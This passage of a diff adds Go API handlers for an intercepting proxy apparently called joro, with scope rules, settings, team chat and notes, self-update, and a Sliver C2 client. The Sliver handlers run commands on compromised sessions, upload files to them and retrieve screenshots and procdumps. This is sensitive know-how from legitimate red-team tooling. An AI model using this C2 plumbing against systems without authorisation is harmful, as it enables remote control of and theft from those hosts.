func (s *APIServer) handleDeleteReplaceRule(w http.ResponseWriter, r *http.Request) {
|
||||
id := r.PathValue("id")
|
||||
if !s.replace.RemoveRule(id) {
|
||||
writeError(w, http.StatusNotFound, "rule not found")
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]string{"deleted": id})
|
||||
}
|
||||
@@ -0,0 +1,108 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"net/http"
|
||||
"strconv"
|
||||
|
||||
"github.com/BishopFox/joro/internal/proxy"
|
||||
)
|
||||
|
||||
func (s *APIServer) handleListRequests(w http.ResponseWriter, r *http.Request) {
|
||||
q := r.URL.Query()
|
||||
|
||||
offset, _ := strconv.Atoi(q.Get("offset"))
|
||||
limit, _ := strconv.Atoi(q.Get("limit"))
|
||||
|
||||
status, _ := strconv.Atoi(q.Get("status"))
|
||||
|
||||
extMode := q.Get("extMode")
|
||||
if extMode == "" {
|
||||
extMode = "exclude"
|
||||
}
|
||||
|
||||
f := proxy.RequestFilter{
|
||||
Host: q.Get("host"),
|
||||
Method: q.Get("method"),
|
||||
Status: status,
|
||||
Search: q.Get("search"),
|
||||
Exclude: q.Get("exclude"),
|
||||
ExtMode: extMode,
|
||||
ContentType: q.Get("contentType"),
|
||||
Offset: offset,
|
||||
Limit: limit,
|
||||
}
|
||||
|
||||
if q.Get("scope_only") == "true" && s.scope != nil {
|
||||
f.InScopeFunc = s.scope.InScope
|
||||
}
|
||||
|
||||
items, total := s.store.List(f)
|
||||
|
||||
type summary struct {
|
||||
ID string `json:"id"`
|
||||
Seq int `json:"seq"`
|
||||
Timestamp string `json:"timestamp"`
|
||||
Method string `json:"method"`
|
||||
URL string `json:"url"`
|
||||
Host string `json:"host"`
|
||||
Protocol string `json:"protocol,omitempty"`
|
||||
StatusCode int `json:"statusCode"`
|
||||
ContentType string `json:"contentType"`
|
||||
DurationMs int64 `json:"durationMs"`
|
||||
ResponseSize int `json:"responseSize"`
|
||||
}
|
||||
|
||||
summaries := make([]summary, 0, len(items))
|
||||
for _, item := range items {
|
||||
summaries = append(summaries, summary{
|
||||
ID: item.ID,
|
||||
Seq: item.Seq,
|
||||
Timestamp: item.Timestamp.Format("2006-01-02T15:04:05.000Z"),
|
||||
Method: item.Method,
|
||||
URL: item.URL,
|
||||
Host: item.Host,
|
||||
Protocol: item.Protocol,
|
||||
StatusCode: item.StatusCode,
|
||||
ContentType: item.ContentType,
|
||||
DurationMs: item.Duration.Milliseconds(),
|
||||
ResponseSize: item.ResponseSize,
|
||||
})
|
||||
}
|
||||
|
||||
writeJSON(w, http.StatusOK, map[string]any{
|
||||
"items": summaries,
|
||||
"total": total,
|
||||
"offset": offset,
|
||||
"limit": limit,
|
||||
})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleGetRequest(w http.ResponseWriter, r *http.Request) {
|
||||
id := r.PathValue("id")
|
||||
item := s.store.Get(id)
|
||||
if item == nil {
|
||||
writeError(w, http.StatusNotFound, "request not found")
|
||||
return
|
||||
}
|
||||
|
||||
writeJSON(w, http.StatusOK, map[string]any{
|
||||
"id": item.ID,
|
||||
"timestamp": item.Timestamp.Format("2006-01-02T15:04:05.000Z"),
|
||||
"method": item.Method,
|
||||
"url": item.URL,
|
||||
"host": item.Host,
|
||||
"protocol": item.Protocol,
|
||||
"statusCode": item.StatusCode,
|
||||
"contentType": item.ContentType,
|
||||
"durationMs": item.Duration.Milliseconds(),
|
||||
"responseSize": item.ResponseSize,
|
||||
"reqRaw": base64.StdEncoding.EncodeToString(item.ReqRaw),
|
||||
"respRaw": base64.StdEncoding.EncodeToString(item.RespRaw),
|
||||
})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleClearRequests(w http.ResponseWriter, r *http.Request) {
|
||||
s.store.Clear()
|
||||
writeJSON(w, http.StatusOK, map[string]string{"status": "cleared"})
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
|
||||
"github.com/BishopFox/joro/internal/proxy"
|
||||
)
|
||||
|
||||
func (s *APIServer) handleGetScope(w http.ResponseWriter, r *http.Request) {
|
||||
rules := s.scope.Rules()
|
||||
if rules == nil {
|
||||
rules = []proxy.ScopeRule{}
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]any{
|
||||
"enabled": s.scope.IsEnabled(),
|
||||
"rules": rules,
|
||||
})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleSetScopeEnabled(w http.ResponseWriter, r *http.Request) {
|
||||
var body struct {
|
||||
Enabled bool `json:"enabled"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
s.scope.SetEnabled(body.Enabled)
|
||||
writeJSON(w, http.StatusOK, map[string]bool{"enabled": body.Enabled})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleAddScopeRule(w http.ResponseWriter, r *http.Request) {
|
||||
var body proxy.ScopeRule
|
||||
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
if body.Pattern == "" {
|
||||
writeError(w, http.StatusBadRequest, "pattern is required")
|
||||
return
|
||||
}
|
||||
rule := s.scope.AddRule(body)
|
||||
writeJSON(w, http.StatusCreated, rule)
|
||||
}
|
||||
|
||||
func (s *APIServer) handleDeleteScopeRule(w http.ResponseWriter, r *http.Request) {
|
||||
id := r.PathValue("id")
|
||||
if !s.scope.RemoveRule(id) {
|
||||
writeError(w, http.StatusNotFound, "rule not found")
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]string{"deleted": id})
|
||||
}
|
||||
@@ -0,0 +1,206 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/joro/internal/proxy"
|
||||
)
|
||||
|
||||
func (s *APIServer) handleGetSettings(w http.ResponseWriter, r *http.Request) {
|
||||
s.mu.RLock()
|
||||
settings := s.settings
|
||||
s.mu.RUnlock()
|
||||
|
||||
if s.listenerMode {
|
||||
writeJSON(w, http.StatusOK, settings)
|
||||
return
|
||||
}
|
||||
|
||||
resp := struct {
|
||||
Settings
|
||||
ScopeEnabled bool `json:"scopeEnabled"`
|
||||
ScopeRules []proxy.ScopeRule `json:"scopeRules"`
|
||||
}{
|
||||
Settings: settings,
|
||||
ScopeEnabled: s.scope.IsEnabled(),
|
||||
ScopeRules: s.scope.Rules(),
|
||||
}
|
||||
if resp.ScopeRules == nil {
|
||||
resp.ScopeRules = []proxy.ScopeRule{}
|
||||
}
|
||||
writeJSON(w, http.StatusOK, resp)
|
||||
}
|
||||
|
||||
func (s *APIServer) handleUpdateSettings(w http.ResponseWriter, r *http.Request) {
|
||||
var body struct {
|
||||
InterceptEnabled *bool `json:"interceptEnabled"`
|
||||
InterceptTimeout *int `json:"interceptTimeout"`
|
||||
ListenerURL *string `json:"listenerUrl"`
|
||||
HTTP2Enabled *bool `json:"http2Enabled"`
|
||||
KeepAliveEnabled *bool `json:"keepAliveEnabled"`
|
||||
SOCKSHost *string `json:"socksHost"`
|
||||
SOCKSPort *int `json:"socksPort"`
|
||||
SOCKSUsername *string `json:"socksUsername"`
|
||||
SOCKSPassword *string `json:"socksPassword"`
|
||||
SOCKSDNS *bool `json:"socksDns"`
|
||||
TeamToken *string `json:"teamToken"`
|
||||
TeamNickname *string `json:"teamNickname"`
|
||||
MaxRequests *int `json:"maxRequests"`
|
||||
DisableUpdateChecks *bool `json:"disableUpdateChecks"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
|
||||
s.mu.Lock()
|
||||
if body.InterceptEnabled != nil && s.intercept != nil {
|
||||
s.settings.InterceptEnabled = *body.InterceptEnabled
|
||||
s.intercept.SetEnabled(*body.InterceptEnabled)
|
||||
}
|
||||
if body.InterceptTimeout != nil && *body.InterceptTimeout > 0 && s.intercept != nil {
|
||||
s.settings.InterceptTimeout = *body.InterceptTimeout
|
||||
s.intercept.SetTimeout(time.Duration(*body.InterceptTimeout) * time.Second)
|
||||
}
|
||||
oldURL := s.settings.ListenerURL
|
||||
oldToken := s.settings.TeamToken
|
||||
oldNick := s.settings.TeamNickname
|
||||
urlChanged := false
|
||||
tokenChanged := false
|
||||
nickChanged := false
|
||||
|
||||
if body.ListenerURL != nil {
|
||||
s.settings.ListenerURL = *body.ListenerURL
|
||||
urlChanged = *body.ListenerURL != oldURL
|
||||
}
|
||||
if body.HTTP2Enabled != nil && s.transport != nil {
|
||||
s.settings.HTTP2Enabled = *body.HTTP2Enabled
|
||||
s.transport.SetHTTP2(*body.HTTP2Enabled)
|
||||
}
|
||||
if body.KeepAliveEnabled != nil && s.transport != nil {
|
||||
s.settings.KeepAliveEnabled = *body.KeepAliveEnabled
|
||||
s.transport.SetKeepAlive(*body.KeepAliveEnabled)
|
||||
}
|
||||
|
||||
socksChanged := false
|
||||
if body.SOCKSHost != nil {
|
||||
s.settings.SOCKSHost = *body.SOCKSHost
|
||||
socksChanged = true
|
||||
}
|
||||
if body.SOCKSPort != nil {
|
||||
s.settings.SOCKSPort = *body.SOCKSPort
|
||||
socksChanged = true
|
||||
}
|
||||
if body.SOCKSUsername != nil {
|
||||
s.settings.SOCKSUsername = *body.SOCKSUsername
|
||||
socksChanged = true
|
||||
}
|
||||
if body.SOCKSPassword != nil {
|
||||
s.settings.SOCKSPassword = *body.SOCKSPassword
|
||||
socksChanged = true
|
||||
}
|
||||
if body.SOCKSDNS != nil {
|
||||
s.settings.SOCKSDNS = *body.SOCKSDNS
|
||||
socksChanged = true
|
||||
}
|
||||
if socksChanged && s.transport != nil {
|
||||
s.transport.SetSOCKS(
|
||||
s.settings.SOCKSHost,
|
||||
s.settings.SOCKSPort,
|
||||
s.settings.SOCKSUsername,
|
||||
s.settings.SOCKSPassword,
|
||||
s.settings.SOCKSDNS,
|
||||
)
|
||||
}
|
||||
|
||||
if body.TeamToken != nil {
|
||||
s.settings.TeamToken = *body.TeamToken
|
||||
tokenChanged = *body.TeamToken != oldToken
|
||||
}
|
||||
if body.TeamNickname != nil {
|
||||
s.settings.TeamNickname = *body.TeamNickname
|
||||
nickChanged = *body.TeamNickname != oldNick
|
||||
}
|
||||
if body.MaxRequests != nil && *body.MaxRequests > 0 && s.store != nil {
|
||||
s.settings.MaxRequests = *body.MaxRequests
|
||||
s.store.SetMaxSize(*body.MaxRequests)
|
||||
}
|
||||
if body.DisableUpdateChecks != nil {
|
||||
s.settings.DisableUpdateChecks = *body.DisableUpdateChecks
|
||||
}
|
||||
|
||||
settings := s.settings
|
||||
s.mu.Unlock()
|
||||
|
||||
teamSettingsChanged := urlChanged || tokenChanged || nickChanged
|
||||
|
||||
if s.listenerRelay != nil && teamSettingsChanged {
|
||||
nickOnly := nickChanged && !urlChanged && !tokenChanged
|
||||
canRename := nickOnly &&
|
||||
settings.TeamNickname != "" &&
|
||||
settings.ListenerURL != "" &&
|
||||
settings.TeamToken != ""
|
||||
|
||||
if canRename {
|
||||
if err := s.renameOnTeamServer(settings.ListenerURL, settings.TeamToken, oldNick, settings.TeamNickname); err != nil {
|
||||
if errors.Is(err, errNicknameInUse) {
|
||||
s.mu.Lock()
|
||||
s.settings.TeamNickname = oldNick
|
||||
s.mu.Unlock()
|
||||
writeError(w, http.StatusConflict, err.Error())
|
||||
return
|
||||
}
|
||||
// Not connected / transport failure: fall back to reconnect.
|
||||
s.listenerRelay.Update(settings.ListenerURL, settings.TeamToken, settings.TeamNickname)
|
||||
} else {
|
||||
s.listenerRelay.SetNickname(settings.TeamNickname)
|
||||
}
|
||||
} else {
|
||||
s.listenerRelay.Update(settings.ListenerURL, settings.TeamToken, settings.TeamNickname)
|
||||
}
|
||||
}
|
||||
|
||||
writeJSON(w, http.StatusOK, settings)
|
||||
}
|
||||
|
||||
// renameOnTeamServer returns nil on success, errNicknameInUse on 409, or an error otherwise.
|
||||
func (s *APIServer) renameOnTeamServer(listenerURL, token, oldNick, newNick string) error {
|
||||
bodyJSON, err := json.Marshal(map[string]string{
|
||||
"oldNickname": oldNick,
|
||||
"newNickname": newNick,
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
base := strings.TrimRight(listenerURL, "/")
|
||||
req, err := http.NewRequest(http.MethodPost, base+"/api/v1/team/nickname", bytes.NewReader(bodyJSON))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
req.Header.Set("Authorization", "Bearer "+token)
|
||||
req.Header.Set("X-Joro-Nickname", oldNick)
|
||||
|
||||
client := &http.Client{Timeout: 2 * time.Second}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
switch resp.StatusCode {
|
||||
case http.StatusOK:
|
||||
return nil
|
||||
case http.StatusConflict:
|
||||
return errNicknameInUse
|
||||
default:
|
||||
return fmt.Errorf("teamserver returned %d", resp.StatusCode)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,8 @@
|
||||
package api
|
||||
|
||||
import "net/http"
|
||||
|
||||
func (s *APIServer) handleGetSitemap(w http.ResponseWriter, r *http.Request) {
|
||||
hosts := s.store.Sitemap()
|
||||
writeJSON(w, http.StatusOK, map[string]any{"hosts": hosts})
|
||||
}
|
||||
@@ -0,0 +1,204 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"io"
|
||||
"net/http"
|
||||
|
||||
"github.com/BishopFox/joro/internal/sliver"
|
||||
)
|
||||
|
||||
func (s *APIServer) handleSliverStatus(w http.ResponseWriter, r *http.Request) {
|
||||
lhost, lport, connected := s.sliverClient.ServerInfo()
|
||||
resp := map[string]any{"connected": connected}
|
||||
if connected {
|
||||
resp["lhost"] = lhost
|
||||
resp["lport"] = lport
|
||||
id, name, _ := s.sliverClient.GetActiveSession()
|
||||
if id != "" {
|
||||
resp["sessionId"] = id
|
||||
resp["sessionName"] = name
|
||||
}
|
||||
}
|
||||
writeJSON(w, http.StatusOK, resp)
|
||||
}
|
||||
|
||||
func (s *APIServer) handleSliverConnect(w http.ResponseWriter, r *http.Request) {
|
||||
var cfg sliver.OperatorConfig
|
||||
if err := json.NewDecoder(r.Body).Decode(&cfg); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
|
||||
if cfg.LHost == "" || cfg.LPort == 0 {
|
||||
writeError(w, http.StatusBadRequest, "lhost and lport are required")
|
||||
return
|
||||
}
|
||||
if cfg.CACertificate == "" || cfg.Certificate == "" || cfg.PrivateKey == "" {
|
||||
writeError(w, http.StatusBadRequest, "ca_certificate, certificate, and private_key are required")
|
||||
return
|
||||
}
|
||||
|
||||
if err := s.sliverClient.Connect(cfg); err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
writeJSON(w, http.StatusOK, map[string]bool{"connected": true})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleSliverDisconnect(w http.ResponseWriter, r *http.Request) {
|
||||
if err := s.sliverClient.Disconnect(); err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]bool{"connected": false})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleSliverSessions(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.sliverClient.IsConnected() {
|
||||
writeError(w, http.StatusBadRequest, "not connected to Sliver teamserver")
|
||||
return
|
||||
}
|
||||
|
||||
sessions, err := s.sliverClient.ListSessions(r.Context())
|
||||
if err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
beacons, err := s.sliverClient.ListBeacons(r.Context())
|
||||
if err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
writeJSON(w, http.StatusOK, map[string]any{
|
||||
"sessions": sessions,
|
||||
"beacons": beacons,
|
||||
})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleSliverExecute(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.sliverClient.IsConnected() {
|
||||
writeError(w, http.StatusBadRequest, "not connected to Sliver teamserver")
|
||||
return
|
||||
}
|
||||
|
||||
var body struct {
|
||||
SessionID string `json:"sessionId"`
|
||||
Command string `json:"command"`
|
||||
Args []string `json:"args"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
|
||||
if body.SessionID == "" || body.Command == "" {
|
||||
writeError(w, http.StatusBadRequest, "sessionId and command are required")
|
||||
return
|
||||
}
|
||||
|
||||
stdout, stderr, err := s.sliverClient.Execute(r.Context(), body.SessionID, body.Command, body.Args, false)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
writeJSON(w, http.StatusOK, map[string]string{
|
||||
"output": stdout,
|
||||
"error": stderr,
|
||||
})
|
||||
}
|
||||
|
||||
// handleSliverCommand dispatches a sliver-client command.
|
||||
func (s *APIServer) handleSliverCommand(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.sliverClient.IsConnected() {
|
||||
writeError(w, http.StatusBadRequest, "not connected to Sliver teamserver")
|
||||
return
|
||||
}
|
||||
|
||||
var body struct {
|
||||
Input string `json:"input"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
|
||||
if body.Input == "" {
|
||||
writeJSON(w, http.StatusOK, sliver.CommandResult{})
|
||||
return
|
||||
}
|
||||
|
||||
result := s.sliverClient.Dispatch(r.Context(), body.Input)
|
||||
writeJSON(w, http.StatusOK, result)
|
||||
}
|
||||
|
||||
// handleSliverDownload serves cached binary data (download, screenshot, procdump).
|
||||
func (s *APIServer) handleSliverDownload(w http.ResponseWriter, r *http.Request) {
|
||||
id := r.PathValue("id")
|
||||
if id == "" {
|
||||
writeError(w, http.StatusBadRequest, "missing download id")
|
||||
return
|
||||
}
|
||||
|
||||
data, filename, ok := s.sliverClient.GetDownload(id)
|
||||
if !ok {
|
||||
writeError(w, http.StatusNotFound, "download not found or expired")
|
||||
return
|
||||
}
|
||||
|
||||
w.Header().Set("Content-Disposition", "attachment; filename=\""+filename+"\"")
|
||||
w.Header().Set("Content-Type", "application/octet-stream")
|
||||
w.Write(data)
|
||||
}
|
||||
|
||||
// handleSliverUpload handles file upload to a remote target.
|
||||
func (s *APIServer) handleSliverUpload(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.sliverClient.IsConnected() {
|
||||
writeError(w, http.StatusBadRequest, "not connected to Sliver teamserver")
|
||||
return
|
||||
}
|
||||
|
||||
sessionID, _, isBeacon := s.sliverClient.GetActiveSession()
|
||||
if sessionID == "" {
|
||||
writeError(w, http.StatusBadRequest, "no active session")
|
||||
return
|
||||
}
|
||||
|
||||
if err := r.ParseMultipartForm(32 << 20); err != nil { // 32MB max
|
||||
writeError(w, http.StatusBadRequest, "invalid multipart form")
|
||||
return
|
||||
}
|
||||
|
||||
remotePath := r.FormValue("remotePath")
|
||||
if remotePath == "" {
|
||||
writeError(w, http.StatusBadRequest, "remotePath is required")
|
||||
return
|
||||
}
|
||||
|
||||
file, header, err := r.FormFile("file")
|
||||
if err != nil {
|
||||
writeError(w, http.StatusBadRequest, "file is required")
|
||||
return
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
data, err := io.ReadAll(file)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusInternalServerError, "failed to read file")
|
||||
return
|
||||
}
|
||||
|
||||
path, err := s.sliverClient.Upload(r.Context(), sessionID, remotePath, data, header.Filename, isBeacon)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
writeJSON(w, http.StatusOK, map[string]string{
|
||||
"path": path,
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,124 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"net"
|
||||
"net/http"
|
||||
"os"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/joro/internal/event"
|
||||
"github.com/BishopFox/joro/internal/update"
|
||||
)
|
||||
|
||||
func (s *APIServer) handleSystemInfo(w http.ResponseWriter, r *http.Request) {
|
||||
hostname, _ := os.Hostname()
|
||||
|
||||
ip := "127.0.0.1"
|
||||
addrs, err := net.InterfaceAddrs()
|
||||
if err == nil {
|
||||
for _, addr := range addrs {
|
||||
if ipNet, ok := addr.(*net.IPNet); ok && !ipNet.IP.IsLoopback() && ipNet.IP.To4() != nil {
|
||||
ip = ipNet.IP.String()
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
writeJSON(w, http.StatusOK, map[string]string{
|
||||
"hostname": hostname,
|
||||
"ip": ip,
|
||||
})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleVersionInfo(w http.ResponseWriter, r *http.Request) {
|
||||
s.mu.RLock()
|
||||
info := s.buildInfo
|
||||
s.mu.RUnlock()
|
||||
writeJSON(w, http.StatusOK, info)
|
||||
}
|
||||
|
||||
// handleCheckUpdate runs an on-demand update check and refreshes BuildInfo.
|
||||
// Runs regardless of the DisableUpdateChecks setting — it is an explicit user
|
||||
// action, not an automatic check. Does NOT perform the update itself; the
|
||||
// UpdateBanner component owns the save-configs-and-update flow.
|
||||
func (s *APIServer) handleCheckUpdate(w http.ResponseWriter, r *http.Request) {
|
||||
s.mu.RLock()
|
||||
currentVersion := s.buildInfo.Version
|
||||
prevAvailable := s.buildInfo.UpdateAvailable
|
||||
prevLatest := s.buildInfo.LatestVersion
|
||||
s.mu.RUnlock()
|
||||
|
||||
latestVersion, available := update.CheckForUpdate(currentVersion)
|
||||
|
||||
s.mu.Lock()
|
||||
s.buildInfo.UpdateAvailable = available
|
||||
s.buildInfo.LatestVersion = latestVersion
|
||||
info := s.buildInfo
|
||||
s.mu.Unlock()
|
||||
|
||||
if available && (!prevAvailable || prevLatest != latestVersion) {
|
||||
s.hub.Broadcast() <- event.WSEvent{
|
||||
Type: "system.update.available",
|
||||
Data: info,
|
||||
}
|
||||
}
|
||||
|
||||
writeJSON(w, http.StatusOK, info)
|
||||
}
|
||||
|
||||
func (s *APIServer) handleRestart(w http.ResponseWriter, r *http.Request) {
|
||||
writeJSON(w, http.StatusOK, map[string]string{"status": "restarting"})
|
||||
|
||||
go func() {
|
||||
s.hub.Broadcast() <- event.WSEvent{
|
||||
Type: "system.update.restarting",
|
||||
Data: map[string]string{},
|
||||
}
|
||||
|
||||
// Give the WebSocket event time to reach clients before shutting down.
|
||||
time.Sleep(500 * time.Millisecond)
|
||||
|
||||
s.restart = true
|
||||
if s.cancelFunc != nil {
|
||||
s.cancelFunc()
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
func (s *APIServer) handleUpdate(w http.ResponseWriter, r *http.Request) {
|
||||
// Respond immediately; the update runs in the background with progress via WebSocket.
|
||||
// RunUpdate detects install mode internally — git checkouts run `git pull && make build`,
|
||||
// downloaded binaries fetch the matching goreleaser asset from GitHub.
|
||||
writeJSON(w, http.StatusOK, map[string]string{"status": "updating"})
|
||||
|
||||
go func() {
|
||||
progress := func(msg string) {
|
||||
s.hub.Broadcast() <- event.WSEvent{
|
||||
Type: "system.update.progress",
|
||||
Data: map[string]string{"stage": msg},
|
||||
}
|
||||
}
|
||||
|
||||
if err := update.RunUpdate(progress); err != nil {
|
||||
s.hub.Broadcast() <- event.WSEvent{
|
||||
Type: "system.update.failed",
|
||||
Data: map[string]string{"error": err.Error()},
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
s.hub.Broadcast() <- event.WSEvent{
|
||||
Type: "system.update.restarting",
|
||||
Data: map[string]string{},
|
||||
}
|
||||
|
||||
// Give the WebSocket event time to reach clients before shutting down.
|
||||
time.Sleep(500 * time.Millisecond)
|
||||
|
||||
// Trigger graceful shutdown; main.go will call update.Restart() after Start() returns.
|
||||
s.restart = true
|
||||
if s.cancelFunc != nil {
|
||||
s.cancelFunc()
|
||||
}
|
||||
}()
|
||||
}
|
||||
@@ -0,0 +1,203 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"strconv"
|
||||
|
||||
"github.com/BishopFox/joro/internal/event"
|
||||
"github.com/BishopFox/joro/internal/team"
|
||||
"github.com/hashicorp/go-uuid"
|
||||
)
|
||||
|
||||
// --- Teamserver-side handlers (direct DB access) ---
|
||||
|
||||
func (s *APIServer) handleListChatMessages(w http.ResponseWriter, r *http.Request) {
|
||||
offset, _ := strconv.Atoi(r.URL.Query().Get("offset"))
|
||||
limit, _ := strconv.Atoi(r.URL.Query().Get("limit"))
|
||||
if limit <= 0 {
|
||||
limit = 100
|
||||
}
|
||||
|
||||
items, total, err := s.teamStore.ListMessages(offset, limit)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
if items == nil {
|
||||
items = []team.ChatMessage{}
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]any{
|
||||
"items": items,
|
||||
"total": total,
|
||||
"offset": offset,
|
||||
"limit": limit,
|
||||
})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleCreateChatMessage(w http.ResponseWriter, r *http.Request) {
|
||||
var body struct {
|
||||
Text string `json:"text"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
if body.Text == "" {
|
||||
writeError(w, http.StatusBadRequest, "text is required")
|
||||
return
|
||||
}
|
||||
|
||||
author := team.NicknameFromContext(r.Context())
|
||||
|
||||
id, err := uuid.GenerateUUID()
|
||||
if err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
msg, err := s.teamStore.CreateMessage(id, author, body.Text)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
s.hub.Broadcast() <- event.WSEvent{Type: "team.chat", Data: msg}
|
||||
writeJSON(w, http.StatusCreated, msg)
|
||||
}
|
||||
|
||||
func (s *APIServer) handleListActiveUsers(w http.ResponseWriter, r *http.Request) {
|
||||
users := s.hub.ActiveUsers()
|
||||
writeJSON(w, http.StatusOK, users)
|
||||
}
|
||||
|
||||
func (s *APIServer) handleTeamRename(w http.ResponseWriter, r *http.Request) {
|
||||
var body struct {
|
||||
OldNickname string `json:"oldNickname"`
|
||||
NewNickname string `json:"newNickname"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
if body.OldNickname == "" || body.NewNickname == "" {
|
||||
writeError(w, http.StatusBadRequest, "oldNickname and newNickname are required")
|
||||
return
|
||||
}
|
||||
if body.OldNickname == body.NewNickname {
|
||||
writeJSON(w, http.StatusOK, map[string]string{"status": "unchanged"})
|
||||
return
|
||||
}
|
||||
|
||||
// Prevent a user from renaming a different user.
|
||||
if caller := team.NicknameFromContext(r.Context()); caller != body.OldNickname {
|
||||
writeError(w, http.StatusForbidden, "cannot rename a different user")
|
||||
return
|
||||
}
|
||||
|
||||
ok, err := s.hub.Rename(body.OldNickname, body.NewNickname)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusConflict, err.Error())
|
||||
return
|
||||
}
|
||||
if !ok {
|
||||
writeError(w, http.StatusNotFound, "not connected")
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]string{"status": "renamed"})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleListTeamNoteHosts(w http.ResponseWriter, r *http.Request) {
|
||||
hosts, err := s.teamStore.ListHosts()
|
||||
if err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
if hosts == nil {
|
||||
hosts = []string{}
|
||||
}
|
||||
writeJSON(w, http.StatusOK, hosts)
|
||||
}
|
||||
|
||||
func (s *APIServer) handleListTeamNotes(w http.ResponseWriter, r *http.Request) {
|
||||
host := r.URL.Query().Get("host")
|
||||
if host == "" {
|
||||
writeError(w, http.StatusBadRequest, "host parameter required")
|
||||
return
|
||||
}
|
||||
offset, _ := strconv.Atoi(r.URL.Query().Get("offset"))
|
||||
limit, _ := strconv.Atoi(r.URL.Query().Get("limit"))
|
||||
if limit <= 0 {
|
||||
limit = 50
|
||||
}
|
||||
|
||||
items, total, err := s.teamStore.ListNotes(host, offset, limit)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
if items == nil {
|
||||
items = []team.Note{}
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]any{
|
||||
"items": items,
|
||||
"total": total,
|
||||
"offset": offset,
|
||||
"limit": limit,
|
||||
})
|
||||
}
|
||||
|
||||
func (s *APIServer) handleCreateTeamNote(w http.ResponseWriter, r *http.Request) {
|
||||
